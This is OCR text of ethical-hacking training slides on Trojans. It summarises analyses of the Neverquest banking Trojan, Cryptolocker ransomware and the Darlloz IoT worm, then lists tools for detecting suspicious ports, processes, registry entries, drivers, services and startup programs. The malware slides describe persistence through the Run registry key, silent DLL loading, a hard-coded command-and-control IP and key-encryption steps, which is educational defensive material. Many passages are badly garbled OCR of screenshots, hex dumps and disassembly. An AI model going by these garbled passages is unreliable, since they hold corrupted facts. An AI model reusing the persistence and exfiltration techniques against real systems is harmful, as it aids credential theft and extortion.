A new banking Trojan known as Neverquest, is active and being used to attack a
number of popular banking websites

This Trojan can identify target sites by searching for specific keywords on web
pages that victims are browsing

After infecting a system, the malware gives an attacker control of the infected
machine with the help of a Virtual Network Computing (VNC, for remote access)
and SOCKS proxy server

The Trojan targets several banking sites and steals sensitive information such as
login credentials that customers enter into these websites

The Trojan also steals login information related to social networking sites like
Twitter, and sends this information to its control server

https-//blogs. meafes.com
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Trojan Analysis: Neverquest
(Cont’d)

Once it infects a system, the Trojan R

drops a random-name DLL with a i
.dat extension in the “%APPDATAY: POST -fal'u‘.d'l*sp'la'ﬁ-._php?ﬁd4|’:~ﬁ?]’.b:l}54 HTTE/1.1

Content-Type: app |ication/x-www-form-urTancoded

.F |d User-Agent: Mozilla/d.0 (comparible; MSIE B.0; Windows NT 5.1: Trident/4.0; .NET CLR
alder 2.0.50727; .NET LR 3.0.4506,2152; .MET CLR 3.5.30729; .NET4.0C; .NET4.CE)

HaSsT § com

Content-Length: 65

The Trojan then automatically runs Cache-Control: mo-cache
i 1 57 3F7 0000002 500000000002 7000 nf o-R 200000205 0101010002 0AZSHTTR /1.1 200
this DLL using regsvr32.exe /s [DLL E,h TR 0: 0000000¢ “‘h{ - 000205010101 00030A28HTTP/1.1 200 0K

Dare: Thuo 22 Jan 2iia i0:2bis1 auT
3 Ale! - 4 =30
PATH} t?"l_.lr addlng d kE"g’ under -.‘_cpn:ent—lﬁype-. Rt fk

: : Content-Length: 100327
“software\Microsoft\Windows)\ Connection: keep-alive

CurrentVersion\Run\.” S R R B S HEE U
: :

The Trojan tries to inject its b e ] P T

Pty || T BT R Y B O BT SRS A - PR IR S TR T

malicious code into running e Kl )
" F c: " o =

processes and waits for browser izl Encrypted config file II;:-.L_

processes such as iexplorer.exe or o G.EQH. .. .. &

firefox.exe

Once the victim opens any site
with these browsers, the Trojan Etiscomusibun RO
requests the encrypted

.i_u-'url | S.r.eés- | Bt Hex Durnp C damays
configuration file from its control = [ Fiker Qun s sweam | [
server

https://blogs.mcafee.com
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Trojan Analysis: Neverquest
(Cont’d)

The Trojan generates a unique ID number
that will be used in subsequent requests

The reply is encrypted with aPLib
compression

The reply data is appended to an “AP32"
string, followed by a decompression routine

The configuration file contains a huge
amount of JavaScript code, a number of
bank websites, social networking websites,
and list of financial keywords

The JavaScript code in the configuration file
is used to modify the page contents of the
bank’s site to steal sensitive information

OOLTRESL

ED4E F4
EOTD PO

C708 41503333
EB8 TRl40000
[} 1]

T8 04

Faco

- EB 71

SE4E FC
H1IA 45474847

. T4 0%

E0
EH LLasowo
53

T KD BR

BE3D HCO0ARDD

|[isassemnay
INC L
crp Ehp, BUNGHS FER Sp: [ERPEE)
IE £B0RY COLTEASR
MO ECx, DNGED FTR S3: | INFE |
LTE FAX, DUGED FTR E8: [ERF=C1

HOW DHOED PTR DS [EFI],

n “AFPLIR PacoRprarrion:

TIST EAX, EAX

JNZE SHORT OCATEATT

OB BAM, ERH

B =HoRT O0ATEBOR

Now EAx, BMOED BTE BRG]
Crp CAGED PTR DS: |EAXE, 47484148
4% SHORT OOATHERME

AP3E Ztrang
FROOBETEEE Bdge

| o JEIECREETE

POP ECK

Bl snet 00a7eAN

HOY BT, BUGED BTR BS; [ASEH4C

karneld? InteclockadEnchangs

\

Ml |

i Decrypted config fi

hps yyblogs. meafee.com
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Trojan Analysis: Neverquest
(Cont’d)

If the Trojan finds any of the keywords on a web page, it will steal the full URL and all user-entered
information and sends this data to the attacker

The Trojan sends a unigue 1D number followed by the full URL containing username and password

The Trojan also sends all web page contents compressed with aPLib to the attacker in the following
format

i Fotiews TCE Stranmm

Serikin Comtint

Cawa <HCPIPLORVEAR goBhimy =g gi+/, GlabLd, &, +1CL=. 0. REgion, ]
|z'.!-'.-:.'|l..ﬂ:,l'....'h. ] ENBE. , ., B PR CBOL W
k, S oPop. 3. .0
ras
5 RPN 1L

Lip. yssiie]

ST (P T 1y AP 1, TS e i ot T a0 A

i, | 1@ s, P, £, T or..d./7)
L H IO WS B xES500. TL .y CEGT SADy gD V0. o . FSBIC T,
. i, of  e2F. bR, E.IV, . wi}. @ PTIC. 0d

« B

PR T RTINS S T (U SR T S
o B0 IFS. WFRAHL %, .
g. .- PAThLD

T e o wib, - 12, o, Do

"u:‘--x.l ¥ oltaoplog. .o —LH

Endire converssbon GE3H bytes]

https://blogs. mcafes.com
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Virus Analysis: Ransom Cryptolocker

Ransom Cryptolocker is a ransom-ware that on execution locks the user's system
thereby leaving the system in an unusable state

It also encrypts the list of file types present in the user system

The compromised user has to pay the attacker with ransom to unlock the system
and to get the files decrypted

Infection and Propagation Vectors

The malware is being propagated via malicious links in spam e-mails which leads to
pages exploiting common system vulnerabilities

These exploit pages will drop Ransom Cryptolocker and other malicious executable
files on the affected machine

https#/kc.meafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

Characteristics and Symptoms

The contents of the original files are encrypted using AES Algorithm with a randomly generated key

Once the system is infected, the malware binary first tries to connect to a hard coded command and control
server with IP address 184.164.136.134

If this attempt fails, it generates a domain name using random domain name algorithm and appends it with
domain names such as .org, .net, .co.uk, .info, .com, .biz, and .ru

Encryption Technique

The malware uses an AES algorithm to encrypt the files. The malware first generates a 256 bit AES key and
this will be used to encrypt the files

In order to be able to decrypt the files, the malware author needs to know that key !!l I

To avoid transmitting the key in clear text, the malware will encrypt it using an asymmetric key algorithm,
namely the R5A public/private key pair

This encrypted key is then submitted to the C&C server

https:/ ke meoafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

} Once the system is compromised, the malware displays the below mentioned warning to the user and
demand ransom to decrypt the files

It maintains the list of files which was encrypted by this malware under the following registry entry

% HEEY CURRENT USER\Software\CryptoLocker\Files

On execution, this malware binary copies itself to *z2ppn=+2% location and deletes itself using a batch file

@ SAppData%\{2E376276-3A5A-0712-2BEZ2-FRF2CFFTECDS} .exes

-

Crvptol_

Your personal files are encrypted!

Vi Bva e el Diles s oyl oy poeoss s escl o §vis oo s llisr it osg ...l.iin..i_-.l.-ul.d-l.lxl il

TF oy sasi Ehis bewt, baut oo reob o B "ol o kosr” witrschoew, Biery yaoler ol iveimos. cheslestbead
oyl ol e Bcesr™ Drom oy oo g il i

W g i yomar Tilees, i e 2 o s ' " B ol ot s P L W e
¥ : 3 stowrt if aospin

iy bmthivey
Averoocimcibe chabrus Ehois Do of voisr pertviobe oy
R TN R | AR

I Wb Livms b Dbl gvms ares cowsblo Lo rescosess Gilos arysmcored Sirgaly rosresses U is wslipusg s
Irany e ohodk oy
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm)

Darlloz is a Linux worm
that is engineered to
target the “Internet of
things”

It targets computers running
Intel x86 architectures and
also focuses on devices
running the ARM, MIPS,

and PowerPC architectures,
which are usually found on
routers, set-top boxes, and
security cameras

{@.\w ‘

http:/fwww symantec.com
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm) (Cont’d)

Total number of identified IP addrezszes
that were infected with Darlloz

Total number of Darlloz infections
affected regions

Total number of identified OS finger
prints from infected IP addresses

Darlloz infections compromised Intel
based-computers or servers running on
Linux

Darlloz infections affected a variety of
loT devices, including routers, IP

cameras, etc.
http//www. symantec.com
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm) (Cont’d)

-Eh'-'“I'I.“. : NEecCluiion

The main purpose of the worm is to mine crypto currencies

Upon execution, the worm generates IP addresses randomly, accesses a specific path
on the machine with well-known 1Ds and passwords, and also sends HTTP POST
requests which exploit the vulnerability

If the target is unpatched, it downloads the worm from a malicious server and starts
searching for its next target

Currently, the worm infect only Intel x86 systems because the downloaded URL in the
exploit code is hard-coded to the ELF binary for Intel architectures

D 1 2 3 4 567 8 5 & B C D ET 012345
0000h: 7F 45 4C 46 01 01 01 61 0O 00 OO0 OO OO0 OO OO OO OELF...

0010n: 0z o0 SEJEN o1 00 00 00 CO 75 01 00 34 o0 oo 00 ... .
DO0Z0h: C8 15 01 DO 02 OO OO OO 34 0D 20 OO 02 OD 28 00 auy

Templale Redults - ELFTemplaba bi
Hama
- giruct FILE fe
= stnuct ELF_HEADER eff_heades

o atmect @_idard_ta_ideni
enum e_lypedd_e e lvpe ET_EXEC (2]
erum &_machine32_e a_machne |EM_ARM j43)

_erum e_versionds_e e_version _EY_CURRENTI)

http:/fwww. symantec.com
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fmlrl-l Eshical Macker

I-Iow toete ct Tro ]ans C E H

Scan for suspicious OPEN PORTS V & Scan for suspicious STARTUP PROGRAMS \%

can for suspicious PROCESSES 7 ; can for suspicious an
5 f ici RUNNING . s f FILES and FOLDERS

t
L

Scan for suspicious REGISTRY ENTRIES \?{? I Scan for suspicious NETWORK ACTIVITIES °

Scan for suspicious DEVICE DRIVERS i | Scan for suspicious modification to
installed on the computer ' OPERATING SYSTEM FILES

Scan for suspicious WINDOWS SERVICES \\‘}(// Run Trojan SCANNER to detect Trojans \\!;%
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Scanning for Suspicio usPexts C E H

Trojans open unused ports in victim machine to connect back to Trojan handlers

Look for the connection established to unknown or suspicious IP addresses

Admansstraton Command Prompt

System Administrator
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Port Monitoring Tools: TCPView
and CurrPorts

TCPView

TCPView show detailed listings of all TCP and UDP
endpaints on your system, including the local and
remote addresses and state of TCP connections

wE FrEE t0 FIY HaCkRhIn0-TeaM

CurrPorts

CurrPorts is network monitoring software that
displays the list of all currently opened TCP/IP
and UDP ports on your local computer
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IEIEIEJN,::}E System 0 upe IToe we-tisoo..

i Bisbem [0 Ima e i
@ System 1640 upe T wi-tisge.
I System Tog2 ue2 5355 B
@ System Sk &
Sywhem uoe T TeBl=5da2: 7207
& Systerm wne W 1
3 fystemn ) une LTHGT
Syshem 1 o=
0 Syshem S e
B Sychem uoe BT
2 Unlnoan TCP F140

LISTERING 148

LISTEMIMG @ Unkngwn ) e
LISTEMING b Ly con , Top 2153
Umikon craven TCp G
LISTENING 2 Unkngan ] TCP 165
LISTEMIMNG & Uil ’ TP a1
LISTEMIMG

EEEEEER

L

Endpaints 59 Established: 17 Lidtening 41 Tima Wait: 1 Clota Waiz 0

3T Total Poots, 16 Remote Connections, 1 Selected

http://www.nirsoft.net
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Scanning for Suspicious
Processes

Trojans camouflage themselves as Process Monitor
genuine Windows services or hide

their processes to avoid detection Process Monitor is 3 ;'ﬂﬂnitnr}ng
tool for Windows that shows file

Some Trojans use PEs (Portable system, registry, and process/
Executable) to inject into various thread activity

processes (such as explorer.exe or
web browsers)

d Process Monitor - Sysinternals www.sysinternals.com
File Edit Ewert Filber Toock Optiors Help

Processes are visible but looks like FH ABE  T4@ 3 A5 HZEATE

a legitimate processes and also e i ) e lveme iy iicnall I
g & 1001 g Emlorer EXE L] %MSJNM aers'ndmen Jppata'localMicrse SUCCESS  AlloealicnSae 1.0
. 1001 2 Expioeer EXE 1728 CreateFle Mapp T Users admen '\ App Data Locelidioms  SUCTESS Syrc Type: SmcTy
helps bypass desktop firewalls 01 1728 B OusryPondendl C\Userw\adiun\iepDatiocal\Micios... UCCESS.  Alocalin'Gae: 10..
1 f 1728 :_Il'lil.ws-lu'ﬂ Slpery'admn \Ppp DatatlocalMicre | SULLESS AlocationSas. 1.0
100 aF 1728 Bk OoseFle ey admen WAppDatasl ool Mooy SUCTESS
1001 4 1728 :_'-'L'-J.lﬂ',aslﬂ"dﬂt SUksersuadhren \App Dt et ocal Mo SUCTESS Allocation Sae- 5.1
1001 p = 1728 :&Mﬁam\q LUksern admen oo DatatLocah Micros,. | SUCCESS ABpc-aiion S 1.0
1001 i 1728 =hCrenteFis “Usem'admn ' Cesklop SUCCESS
v " T 3 1/Z8 B;'MTHEI!I.I.I:F! U adim \Deskd iy INWALID FA
Trojans can also use rootkit 01 B 5 T Cabnunciery  C'\Usw\admin Dasidan . ;
- = 10:01 —a B 1728 e s e £ Users™ Pubbe’ Diesidon
methods to hide their processes 1001 g 728 § ¢ C\Uisers' Publc Desitop INVALID A
=m 17 s S Uee \Pubbs Daegon E
sl ’ Frs HELM
piisigl v 17 ¥ HHLAE Soft e’ ool idindows ™
0 ¢ HELEASOFTWARE Merssol OWmdow
10 I:il A & 1::3 ‘,:Hf;ﬁ'l.ﬂ'ﬁt;r HK..W-.'&.(JF['-‘-'.;\F!F. ]-'i'.‘mﬂl'l A
M g Eaph 1728 ﬁﬁr;F.u:Kn-r HHL M50 FTWAR ' Micrmsaolt Vidindern
i i M E 1728 FegEumbay  HELENSOFTWARESMicrosalt' Window
Use process monitoring tools to 80 SEmeBE  hErEuis Moo
- H 004 7 Eplore EX 1728 @RegEumiisy  HHLMASOFTWARE Wicroaoh' Windew, . 51
dEtect htdden Trﬂjans and I P FXF 1778 @ FanFamBey WK BSOFTR AR P Micromolt'Window 51
hadeD'DrS Showang 27,395 of 116,315 events (23%) Backed by virtual memony

oo mnn

hﬂp:fftechnet. microsoft.com
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. Process Monitoring Tools

@,!ﬂ'@ Process Explorer G ) Security Task Manager
= ~&

http://technet.microsoft.com http:/fwww.neuber.com

Yet Another (remote) Process

Monitor
http:/fyaprocmon.sourceforge.net

System Explorer
http:/fsystemexplorer.net

http:/fsourceforge.net http://mmonit.com

4, 1
{‘ﬁ HijackThis .. MoNIT
L-u_.-_

Autoruns for Windows . ESET Syslnspector
http:/technet. microsoft. com http:/fwww.eset.com

KillProcess " OpManager

http:/forangelampsoftware. com http://www. manageengine. com
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Sc annlng for Suspicious’ .

Reg istry Entrles I._{._._;;::Z-- N B e

2 Windows automatically executes
instructions in

Fle Sekct Lotk Heb
key HRELGa Ml it i etk BT Finds registry errors, unneeded
Enbry's rawea Path i £ L H

& EBRun ke program fles [l \prowdier oroonychecer sxe reg:str}r_;unk and hEFpS Ar ﬂletﬂi't.lﬂg
Enbrylest modfied  37.02.2004, 04:30 registry entries created by Trojans
Error severdy LE]
Ervor desripdon Fie or directory "c:'Progras Fles prondferipronyche dus™ dess rel suim

Fie reference £ Frogram Fies proxfier oy

BunOnce Rieesson for detecbon Irvald fle reference

fags

REunServicesOnce Wy Entry's name Yl Entry last modified Tor sever®imor desripbon Fie neferenoe Py

BunServices

&
1.|'h}‘

HKEY '::L..FLEIPSES R{:}U‘T"\EXEfi =l bwwalid lile or dis |'.‘|.’||:|'|llr:||‘IlEI1l:E i
s iy |_ mlmnkmmﬂ“mwmt%mekmﬁ’ﬂu l!-.tl& A% ‘le-xdrnch:ﬂ.\.ng'n‘nﬁe"'ruHﬂer

lekshellkopen\command N R Prockon. Laglie. T1Def © T \PEE J7.02.2014, 11:22 H55%  [File or directory C:\Users PGB Brvaskd fie ¢
nEI" §* N Hooa Prockon, LagiRe. L\Dieds (FET) IKET} 70r20i4, 1022 [ e o drectory Co\Users PGB Ervald fie r
[ +0R Prockion, Log e, Ligheld £ "CWserslPGEY J7.0L 2014, 11:22 | 535% | Fiwew doectory| O iLisers\PGE brvald fle ¢
HICH Prochion.Legfie. [ighel i [T} 7022014 1022 [ e or drectory CiUsersIPGE Brvakd fle 1
I_! U sofeare dasses i ocal S Mioroseft Aeade C:rogram Pie Z% Pl or drectory C:\Program Fie Drvald fie r
i 3 [ Hecusoftaare 'asses Proch & " Usmrs POET N2 % Fleor drectory Cisers\PGEY Drvabd fle 1
Scanning registry values for AT —— S———— e i St e
suspicious entries may indicate | EerEens e o ez 220 e L e et P P ok e
[ ] ML Sa fvare drite P owyd V) ey 17022014, 04% [ Fe o drectory ¢ 'Pwml‘ie b e 1
the ij an infection [ HHICL S ftvare Meroas W O MarageSrana'C NIA 7022014, 11:92 (N e o divectory C:\ManageEng Frvakd s ¢
] oL seftwane Whcrose Tt C= Program Fies bd N/ 17.02.2014, 11:92 [N e or drectory| C-\Program Fie Drvabd fie ¢
TrDia ns ingert instructiuns at | Huiafane Moeas Tt e Cs\Program Fies (xENR 0L X14, 1192 — iiew diractory C-"P"ﬂ‘iﬂfl'ei'h'ﬂftr
] M Serfrveare Mecr oo Frle C= Program Fes fad Hja 17022014, 1142 [N e o dewctory C:\Program Fie Proakd fle ¢

these sections of regi stry 1o [ i Sefiware Maoss il G Program Sies pie N/ 27022018 1042 [N o o drectory C\Program Fin Imabd fle ¢

perform malicious activities : =

sections of registry

Custom fo.

Selected: 1, highlighted: §, total: 180
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Registry Entry Monitoring Tool:
RegScanner

0 scan the Registry,
| search criteria, and display them in one list

B 3 | :

File Echt View Huelp Fie Edit View Hulp

Fadong YA Za ey ya

Foegistry Key Marne Type Data Key M 7 R v Kot Ky Modffied . ©
CiFApp (¢! Evsrrll aborly ShowSancd REGSE Showe Toolur ., 0

_-'E]_I-ar::'l.‘igr!mu'.ieanr'-.i.uuhu Feadar\§... birtwnaiEspan, REG DWORD DuD0R0001 (1) 20 SecurityBand EES ST Glefrpmedil=... /302074 &2

HH:U'-kﬁ*IH'ﬁ'CQFE'-“'CWFH Beader'3... baToolBarHp F‘EG_:“.'.-I:I“‘ aDC00R0a (1) AT g]Hmr.:.th et Se P Aped Explader... BEG_ S Hrarand ...

R HIOCLR S det At Reader ... BANTeclBarHo.. REGDWORD 0000000 (1) SPHKCLP A ppEventshSchemes dpnshExplorer... REG_SZ Coviincowsta, 2200200 &l

SO Software\ Adobe' Acrobet Readerd,... bBANToolBarHo.. REG_DWIORD Da0000001 (1) § -?]""M'-' AppEveisi S hemed ApaEplarer.,, BEGEXPA., C\indgwd'.. 220014 ED

E)HCIP SoftwandbsabelAcrobat Reader@....  bidToolBaHo..  REG_DWORD Dw00O0000T (1) B HICLN Softearet Clesesi At natablellasse . Actnal... REG ST FnercdppPe.. 272602004 48

B HECIF Soltward Adebe derobet Reader3....  bilToollarHo.. REG DWORD uDO00C00 (1 SO HKCIN Seftware Clarses\Ack atableChasse.  Actol., REGSZ FmiricefppPe-.  L26R0M 44

SRIHECIN Seftwarc\Adobe\Acrcbet Reader\R...  bANTeolBarHo.. REG_DWORD Cul0000001 (1 ER) IO Software! Classes\ActivatableClasse~.  Actnati. REG DWO.L.  (eX0000000 (01

R WA S T O RO DT ST DB G D ToalBai 1o NLG_Ove oD Loe G C L 2 meCur Sofrevarct Clarrk orierablcClane . CLSID A0G. 5T [RDDMErT Ol

g]‘l—kiu’ SeftwsrdtAdebe' Acichel Peader\ 5. BAY IBaiHo.. PE EII'r'.".'.-?.R- 0000001 [ QH’L{U’ Softwarg Clisset Actwatablellasse . Thesadi- BEG DWO., 000000000 (0

8 1k CLP Softwars! Classes Locsd Settings' i E%Systernfle.. REG S Internet Protoc iz .E]HKU Software’ ClasesiSctivatablellasse.. [OPath  REG EXPA.. C\Windoss\s.

B O Seftware’ Classes\Local Sertinge' ..  @%Syremran..  REGSZ Windews Reme., 202 SRHECLN Sofeaare Clses\ ActnatableClasse . Acteesti. REG DWO.. 0000000 (00

-'EII FC U Softwarsh ClassesiLocsl Settings 5of.. O REG_BiNARY 8000 31 0000 ."_'E']I O Softwans i Classesh Bct watablelbasse . CLSID REG_SZ [3DZTESF-535., 2267200 4

fﬂ]H{{_'J Seftwane Clagsed \Local Sebtings'\5ed... 0 REG SINARY Py Tl 3 e 1] %‘] HECL Softwans Clasaal ActnatableClagse_.  Theesdi.. REC DWO.., i) raerama r

S} IO Softevare’ Microsoft Internet Bplore... Show_ ToclBar REG_3Z -] S KL Software! Clagses\ AckivatableClasse. DiPath  REG_EXPA., Chindows\s. L2620 4.,

SO Softwars’ Miceocoft\Inteenet Explors... Show URLTocl. REG ST [ SR HOCLN Software’ ClassesiLocal Seitingstimi. @CaW_  RES A Set frewall cec... 272073074 -

Rj] HECU Seltware’ Miceosof Inberned Bxglane... Lockesd REG D'WORD Q0000001 (1 EJHLQLI-E;&MM'-I{.IIw-J'.Lnr.:l SettingsiM.  BEEy REG.SZ The Base Frlken.. 272773004 455%..

.'5.] HEL Softevare’ Microsoffl Internet Bxpdare... ShowlEcussio., REG ST W) HIOCLD Sefrennd® Clicas\ Local Satsing . gl REG 5Z This: iahacem... LITF i

.ﬁ]l—mfu-icr!«:u'-hlu:roscn-I||r|-nr.-: Explons... IrEn"Lo-J LIE | REG BINARY ,_:,l_;,]l-rh'cu‘.i-:&.«ane-.l:hw:s.la-: 2l Setfingst, Wy REG ST Thee WEEAT ser. LTI &55:

_-!_]_H'{U'.Srﬂmne'.hli;pm.;f-, M5 Dexign Teo..  AutaSaveChan REG 52 AR HIOC LR Sofrwane’ Clces\ Local Settng i bl NSy REG ST Internet Prodo .

3 L4

T3 meenisl 1 Selected 007 KE) | 3525 iten{s), ¥ Selected (002 KE)

B P B
e

B R

= 3

fa g
P B

.!.?ﬁ'p;a"fwww.nirsaft.net
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Registry Entry Monitoring Tools

Reg Organizer ‘o) MJ Registry Watcher

http:/ wnw. chemtable.com http:/fwww jacobsm.com

Registry Viewer N Active Registry Monitor
http:/faccessdota.com hittp:/fuwwdevicelock.com

Comodo Cloud Scanner o= Regshot
httpe S v, comodo, com http://regshot.sourceforge.net

Buster Sandbox Analyzer : Registry Live Watch
http:/fbsa.isoftware. nl _"'I i http:/Meelusoft.blogspot.in

All-Seeing Eyes " Alien Registry Viewer

http:/fwanw, fortego.com http:/Masthit.com
e —
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Scanning for Suspicious Device
Drivers

Trojans are installed along with device drivers downloaded from
untrusted sources and use these drivers as a shield to avoid detection

Scan for suspicious device drivers and verify if they are genuine and
downloaded from the publisher's original site

Go to Run = Type msinfo32 = R W =

Software Environment —)Bystem S Sy, ickien T Tawi e

Hardwate AR R i
ompnnetl

Drivers ot Enveremus|
= Lk :

EnaTRE Yl

Prosd Jobm

Trojan Device
4 Driver
[

cdrom.sys

CTTREEETTE =

Attacker

Jrarch asimted cxisgoey ondy Stk calpgory mame only
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Device Drivers Monitoring

Tool: DriverView

DriverView utility displays the list of all device drivers currently loaded on system. For
each driver in the list, additional information is displayed such as load address of the
driver, description, version, product name, company that created the driver, etc.

= <

Eile Edit View Options Help

End Address

@ scpiex.sys

@ oid.sys

@ ahcachesys

@ aswMeonFlt.sys
@ aswRdr2.cys

@ sswhvrteys

@ aswSnwsys

@ aswSP.sys

@ aswtm.sys

@ aswVmm.sys
@ BasicDisplay.sys
@ BasicRender.sys
@ Beep 5¥S

@ EOOTVID.dII

@ bowser.sys
€

PCOO0000 D028,

. 00000000 D03E. .

D0000000010F. ..
000000000199,
000000000284, ..
000000000106,
000000000114,
000000000154, .
DO0000000146...
D0000000031F. .
0000000070113...

. 00000000 0N TE. .

000000000148..,
000000000147,

DO000D00 D01 C...
00000000 D28LC...

File Type

Dymamic Link...

System Drver
System Drver
System Drver
Metwork Driver
Fystem Driver
Syystem Driver
System Driver
Dirrver
System Drrver
Display Driver
Display Driver
ystem Drver
Display Driver
System Driver

Description

ACPIEx Driver

Ancillary Functi..,
Application Co...
avast! File Syste...
avast! WFP Redir...

avast! Virtualizat...
avast! seff prote...

Stream Filter

Microsoft Basic ...

Microsoft Basic ..

BEEP Diniver
VGA Boot Driver

MT Lan Manage...

Version

6.3.9600.16384
6.3.9600. 16384
6,3.9600, 16384
8.0.2013.292
9.0.2006,149
9.0.2004,130
8.0.2013.2592
9.0.2013.252
§.0.2013.292
9.0.2010.245
6.3.9600. 16384
6.3.5600. 16384
£,3.9600.16384
6.3.9600,16384
B.3.9600.16384

Company

Microsoft Co...
Micresoft Co...
Microsoft Co...
AVAST Softw...
AVAST Softw...,

AVAST Saftw...
AVAST Softw...
AVAST Softw...

Micrasoft Ce...
Microsoft Co...
Microsoft Co...
Microsoft Co...
Microsoft Co...

Micros
Micros
Micros
avast:

avast!

avast! .
avast!
avast!

Micros
IMicros
Micros

Micros

Micros
3

137 temnis), 1 Selected

hitp://www.nirsoft.net
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Device Drivers Monitoring Tools

Driver Detective . Driver Reviver

http: /S www. drivershg.com w1 http:/fwwwreviversoft.com

Unknown Device Identifier ServiWin
http:/fwww. thangduo.com { http:/fwwwenirsoft.net

DriverGuide Toolkit ' " Double Driver
httpe v, driverguidetoolkit.com 3 http:/funwwe. boozet.org

InstalledDriversList My Drivers
http: /S wanw nirsoft.net http:/fwww.zhangduo.com

Driver Magician DriverEasy
http /S wanw, drivermagician.com { http:/fwww. drivereasy.com
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Scanning for Suspicious
Windows Services

J Trojans spawn
Windows services

allow attackers ” Enterprise Service Manager |- =[]
remote control to the File View Action Help

victim machine and

pass malicious Service Type
instructions + Begulw " Davers Al Refresh Select a workstation | < ocal Machin

Tr(}jaﬂ g rename their Display Name | Desciiption | Computer | Status | Path | Startup Type
. @ Extensible Authertication.. @Zsystemio.. <Local . Stop.. CAWL. Manual
FESERESas (O look like @ Erciypling File System [E... @%SystemR.. <local.. Rurn. Ci\Wi.. Automatic
a genuine Windows L gEMPUpsa | [docal. [Rum. |CAPL [ Adtomalic |
service in order to @ W/indows Event Log @FSystemB... <Local.. Runn. CAWL. Automatic
@& COM+ Event System @cormwes.dl.... <Local.. Runn.. CAWi. Awtomatic
@& Function Discovery Provi.. @®systerwo..  <Local .. Stop.. C\Wi.. Manual
Trc:-jaﬂ 5 emp|0¥ @ Function Discovery Reso... @Xsystermo...  <Local ... Stop.. CWwWi., Manual
2 ; @@ Windows Font Cache Ser.. @%systemwo.. <Local.. Runn.. CAWi. Automatic
rootkit techn o b to @& windows Presentation Fo... @%SystemB... <local.. Stop.. C\Wi. Manual
manipu late O Microsolt FTP Service @Xwinde%h... <lLocal... Runn.. CAWi. Aulomatic

HKET—LD CAL_MAEHI N E.\ : gﬁﬂrm-m Palirn I"'Ik:r.';r‘ e ¢l maal R e MJ;\;I‘;E LE:;:;;H:- IDHEH;
System\CurrentControlS ki cpUeit) sttt 2 Z

et\Services registry keys
to hide its processes

avoid detection
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Windows Services Monitoring Tool:
Windows Service Manager (SxrviVian)

Windows Service Manager simplifies all common tasks related to Windows services.
It can create services (both Win32 and Legacy Driver) without restarting Windows,
delete existing services, and change service configuration

File View Service Help

Muciosoft ACP! Dirver

Micsosoft ACPIE = Dirrves

ACP! Processor Aggregator Driver
ACP! Power Meter Dinver

ACP Wake Alarrn Drver
ADPSI

Applcation Expenence

Aneillary Funchon Dives fai Winsock
Irdel AGP Bus Filter

Apphcation Compaticdity Cache
Apphcation Laper Gateway Service
AMD KB Froceszor Dirves

AMD Processor Dinvei

Sytem3Xdieers\ ] 394chei sy
\SpstemF oo\ Spstem I dineers) Jwane. spes
\SupstermnPaothSpstem 32 drmeers\ACFL sy
SSpstermnP oot System 32D mvershacmex sys
WSpstemBoot\System32drivers\acpipagr. sy
\opstemBoot\System32hvdrivers\acpipmi svs
WSpsternB oot\System3vdrneers\acpitime. sys
\SpstemFoot\SpstemINdreer\ADPED SYE
C:Nwindows\systemI2avchost exe & netsves
\SpshemB oatioyshem 3N divers\ald sye
\SpstemB oot System3Ndriversiagpddll sys
wetem32DRINVERS \ahcache. sys
Ciwimdows'\System32valg exe
SowsternRoot\System 32 dmeers\amdk B s
\SisteriF oot Syster32dinvers\ardpp. si

Start gepeice

Dedate seirvace

nepan fernce

Ewxt

http://tools.sysprogs.org
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Windows Services Monitoring

Tools

:

SMART Utility

http:/fwanw thewindowsclub. com

Netwrix Service Monitor

http:/fwunw netwrix.com

PC Services Optimizer
httpeS S wnane smartpeutilities.com

ServiWin

http: /S wanw nirsoft.net

Windows Service Manager
Tray

http://winservicemanager.codeplex.com

AnVir Task Manager

http:/fwwwanvir.com

Process Hacker
http://processhacker.sourceforge.net

Free Windows Service

Monitor Tool
http:/fwww. manageengine. com

Nagios Xl

http:/fwww.nagios.com

Service+
http:/fwww.activeplus.com
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Scanning for Suspicious Startup clEn
Programs

Check startup
program entries Details are covered in next slide

in the registry

Check device
‘ drivers automati C:\Windows\System32\drivers
-cally loaded

‘ Check e Check boot. ini or bed (bootmgr) entries
boot.ini
‘ Chefk Weiens Go to Run = Type services.msc = Sort by
services
Startup Type

automatic started

C:\ProgramData\Microsoft\Windows\Start

' Check startup = Menu\Programs\startup
folder C:\Users)\ (User-Name) \AppData\Roaming\
Microsoft\Windows\Start Menu\Programs\Startup
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Startup Programs Monitoring
Tool: Security AutoRun

Security AutoRun displays the list of all applications that are loaded automatically when
Windows starts up

W U B () W M [ R (2 S Sackop fusec) - [1) T Starbup (comman} - 1) [ T
[ W et () B wrisgen 21 W Losd -Run 1) W HM | e
@ U [ Eaplorer-An (0) W 0 Deskiog (1) W Ham [Rurserces (1) W M Eurtenacesonee )
£} Erovers - (285 &) hopine DL (2) 4| Krow DL ) A Scheduled Tagks [} & i St (2
W HaM Rnone o) | WP MM SheOkect (1) W M/ Run Oncesx (1) . Stwhu (svices] - (39
e haarme Dwseren Smabis Fath
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Startup Programs Monitoring
Tools

PCTuneUp Free Startup

Manager
http:/fwww. potuneupsuite.com

Autoruns for Windows
http://technet.microsoft.com

b

ActiveStartup | o Disable Startup
http:/fwanw hexilesoft.com | hittp:/ A disablestartup.com

(®

StartEd Pro WinPatrol

httpe/Swanw outertech.com http:/ fwww.winpatrol.com

&

Startup Delayer = Chameleon Startup Manager

httpe v r2.com.au ] http:/ v chamelean-managers.com

Startup Manager Startup Booster
http//startupmanager.org http:/fwww.smartpetools.com

P I ]
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Scanning for Suspicious Files
and Folders

Trojans normally modify system’s files and folders. Use these tools to detect system changes

SIGVERIF

J It checks integrity of critical files that have been digitally signed by Microsoft
2 Tolaunch SIGVERIF, go to Start = Run, type sigverif and press Enter

FCIV

d It is a command line utility that computes MD5 or SHA1 cryptographic hashes for files

2 You can download FCIV at http://download.microsoft.com

TRIPWIRE

4 It is an enterprise class system integrity verifier that scans and reports critical ISEI'ALIAIR
system files for changes S )

TAKE CONTROL.
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Files and Folder Integrity
Checker: FastSum and WinlVIDS5

Fi= Edt View FAm Tocks Hep Fle BoR Options Help
Coarantly Frocessing (ifle)

h f- H 4 X P - T‘] e o [0 tema encuesed)

Fazh Fash [ Byear [ Feavur A
